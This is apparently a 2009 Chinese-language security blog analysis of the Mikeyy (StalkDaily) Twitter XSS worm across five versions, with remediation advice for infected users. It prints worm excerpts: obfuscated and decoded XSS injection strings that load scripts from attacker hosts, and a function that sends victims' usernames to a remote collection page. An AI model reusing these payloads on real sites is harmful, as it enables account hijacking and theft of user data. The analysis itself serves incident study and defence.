在前幾波的Mikeyy蠕蟲攻擊結束後,平靜了不到一天,昨晚twitter上又出現第四代Mikeyy蠕蟲,twitter官網上宣布後,經過三小時努力,終於有效修改XSS跨網站(跨站腳本攻擊),停止了蠕蟲的散播。
上圖中,twitter先宣布:「謝謝各位的訊息,我們也知道第四代,並正努力解決問題」。三小時後,終於宣布:「我們相信情況已經控制住了,謝謝各位的耐心,我們會持續關注Mikeyy」。

昨天那篇的最後一句我們說:「twitter不見得能找到所有含有XSS漏洞的程式碼,再加上Mikeyy表示不一定就此罷手,故往後仍有一些風險。」結果不幸言中,昨晚Mikeyy蠕蟲之三代與四代(其實有五代)重現,造成另一波混亂,連TechCrunch也再度報導了一次(真難得一個資安事件連續兩天被TechCruch報導),並認為此事件會對twitter的聲譽造成嚴重的打擊。

我們觀察到的Mikeyy (StalkDaily)蠕蟲,其實有五個版本,後來的版本還用了特殊的混碼(obfuscation)。在這篇,我們第一次詳細地研究此蠕蟲。

[第一代Mikeyy(StalkDaily)]

第一代的蠕蟲沒有編碼,第78-80行,會將該使用者之帳號與cookie傳給mikeyylolz.uuuq.com,成功盜取使用者登入資訊:


這根Mikeyy的說法,他並沒有偷盜使用者帳號,是不一樣的,事實上是有。另外,此時蠕蟲本體javascript放置於hxxp://http://mikeyylolz.uuuq.com/x.js,密碼也是回傳至mikeyylolz.uuuq.com。

第一代要攻擊弱點為「url」(web)與「location」等欄位之XSS(跨站腳本攻擊)漏洞:



此時受感染者會發出訊息包括:

randomUpdate[0]="Dude, www.StalkDaily.com is awesome. What's the fuss?";
randomUpdate[1]="Join www.StalkDaily.com everyone!";
randomUpdate[2]="Woooo, www.StalkDaily.com :)";
randomUpdate[3]="Virus!? What? www.StalkDaily.com is legit!";
randomUpdate[4]="Wow...www.StalkDaily.com";
randomUpdate[5]="@twitter www.StalkDaily.com";


[第二代Mikeyy(StalkDaily)]

第二代整隻經過自動工具兩層的混碼,真的很討厭。原始javascript(節錄):

var _0x8da4=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","

脫第一層殼之後,可以看到(節錄):

var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "POST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy:) "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "POST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user[url]=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];

function XHConn(){
var _0x6687x2,_0x6687x3=false;
try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
catch(e) { _0x6687x2=false; }; }; };

此時由於mikeyylolz.uuuq.com被關閉,蠕蟲本體改放在「content.ireel.com/xssjs.js」與「http://content.ireel.com/jsxss.js」,回傳位置則改為包括「hxxp://omghax.uuuq.com/x.php」與「hxxp://content.ireel.com/j.php」等位置。從上面的程式可以看出,此時被感染的使用者,會被冒發下列訊息:

"Twitter should really fix this... Mikeyy"
"I am done... Mikeyy"
"Mikeyy is done.."
"Twitter please fix this, regards Mikeyy"

同時並可以看出,Mikeyy還是有偷使用者帳號與cookie,只是程式移到了wait()函式內。

此外,二代開始打不同的XSS(跨站腳本攻擊)弱點,包括「profile_background_tile」與「profile_link_color」等變數。

[第三代Mikeyy(StalkDaily)]

第三代與第二代大致上相同,唯由於偷密碼位置「hxxp://omghax.uuuq.com」亦被關閉,故帳號與cookie改回報至「hxxp://bambamyo.110mb.com/j.php」,並將蠕蟲javascript本體放至「http://bambamyo.110mb.com/wompwomp.js」。

一至三代共同點:
1. 皆會偷使用者帳號與cookie

一與二、三代不同點:
1. 一代無混碼,二、三代有
2. 惡意javascript放至位置與回報帳號/cookie之位置不同
3. 攻擊之XSS(跨站腳本攻擊)弱點不同
4. 冒發之訊息不同

此三代twitter於星期天(亞洲時間)處理完畢並修正了XSS漏洞。

[第四代Mikeyy(StalkDaily)]

第四代於亞洲時間星期一晚上爆發,沒有編碼,主打「name」欄位的XSS(跨站腳本攻擊)弱點,該弱點當時twitter並未修復,蠕蟲再度快速擴散。此時特別的是,Mikeyy反正已經公開承認是蠕蟲他做的,也就不隱藏了,把惡意javascript直接放在自己的「StalkDaily.com」網站上。以下四代程式碼節錄:

randomXSS[0] = '"><title><script>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,115,116,97,108,107,100,97,105,108,121,46,99,111,109,47,97,106,97,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62));</script>';

解出來為:

<script src="http://www.stalkdaily.com/ajax.js"></script>

第四代並將偷使用者帳號與cookie的程式移除了。

此時冒發的訊息為:

randomUpdate[0]="Twitter, freaking fix this already. >:[ - Mikeyy";
randomUpdate[1]="Twitter, your community is going to be mad at you... - Mikeyy";
randomUpdate[2]="This worm is getting out of hand Twitter. - Mikeyy";
randomUpdate[3]="RT!! 4th gen #Mikeyy worm on the loose! Click here to protect yourself: http://tinyurl.com/cojc6s";
randomUpdate[4]="This is all Twitters fault! Don't blame Mikeyy!!";
randomUpdate[5]="ALERT!! 4TH GEN MIKEYY WORM, USE NOSCRIPT: http://bit.ly/4ywBID";
randomUpdate[6]="How TO remove new Mikeyy worm! RT!! http://bit.ly/yCL1s";

[第五代Mikeyy(StalkDaily)]
很快地,Mikeyy散發出了第五代,此時亞洲也有使用者注意到了:



五代大致上與四代相同,唯加上了記錄使用者帳號的一行程式,但是跟一至三代不同,五代只記錄帳號,並未偷竊密碼,回報處也直接是「hxxp://www.stalkdaily.com/x.php」:

function wait()
{
var content = document.documentElement.innerHTML;

userreg = new RegExp(/<meta content="(.*)" name="session-user-screen_name"/g);
var username = userreg.exec(content);
username = username[1];

document.write("<img src='http://www.stalkdaily.com/x.php?username=" + username + "'>");

記錄被感染者帳號的「x.php」一開始時,會直接寫入http://www.stalkdaily.com/users.txt中,我們可以看到當時被感染的使用者帳號(目前twitter已經都處理完畢):



看到時,我決定跟Mikeyy打聲招呼,於是下了:「http://www.stalkdaily.com/x.php?username=greetings_from_wayne」...

可是reload users.txt,怎麼沒有出現呢?再下一次時,出現錯誤訊息:



原來Mikeyy改了x.php,不再寫到users.txt,改寫入mysql資料庫。

五代冒發之訊息只有一條:「Twitter, hire Mikeyy! (718)...」(推特,聘用Mikeyy!),後面是Mikeyy的電話,由於Mikeyy可能未成年,這邊就刪了。

[觀察]
觀察:
1. 過了三年,從Samy到Mikeyy,XSS漏洞還是那麼容易產生與利用
2. Mikeyy今年17歲,花了兩個小時就寫好此蠕蟲
3. twitter的介面已經夠簡單了還是沒法避免有XSS漏洞
4. 果然不幸被我們言中,twitter那時無法一下子把所有漏洞修完,故隔天讓四代與五代有機可乘

[建議被感染之使用者:]
1. 登出twitter,清除瀏覽器cache與cookies
2. 如為視窗系統可以修改hosts檔,通常在C:\Windows\System32\drivers\etc或類似目錄下,並加入以下五行,可以防止瀏覽器下載該惡意javascript:
A. 127.0.0.1 mikeyylolz.uuuq.com
B. 127.0.0.1 content.ireel.com
C. 127.0.0.1 omghax.uuuq.com
D. 127.0.0.1 www.stalkdaily.com
E. 127.0.0.1 bambamyo.110mb.com

3. 可考慮利用firefox的noscript外掛,避免惡意javascript執行。
4. 重新登入twitter
5. 刪除所有被蠕蟲冒發之tweet訊息
6. 將被修改之profile欄位修正(profile關閉者注意是否有被打開)

作者 Wayne 為阿碼科技CEO

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」(本篇)
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」

後記:
當初在SANS日誌上寫ARP掛馬的Bojan Zdrnja,昨天在SANS日誌上也很快地針對Mikeyy所用之javascript混碼(變形)發表了第二篇關於Mikeyy蠕蟲之報告(前一天之報告在此):Twitter worm copycats,其中提及:這個手法跟我上星期介紹的變形手法如出一轍,他們在看SANS日誌嗎?
(are they reading the ISC diaries?)


這讓我想到之前我們寫的「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性」中,早在今年一月就率先分析該路由器蠕蟲之Teamfurry,在其最新的blog上指出,經過了三個月,PSYB0T已經有了演進,「應該是看到了Terry的blog」

非也,SANS的Bojan,錯了,Teamfurry的Terry,根據台灣某blogger,「駭客不會沒事看blog的」...

後後記:很不幸,twitter在五代之後還是沒正確修改漏洞,六代捲土重來,相關文章如上列。

繼續閱讀全文...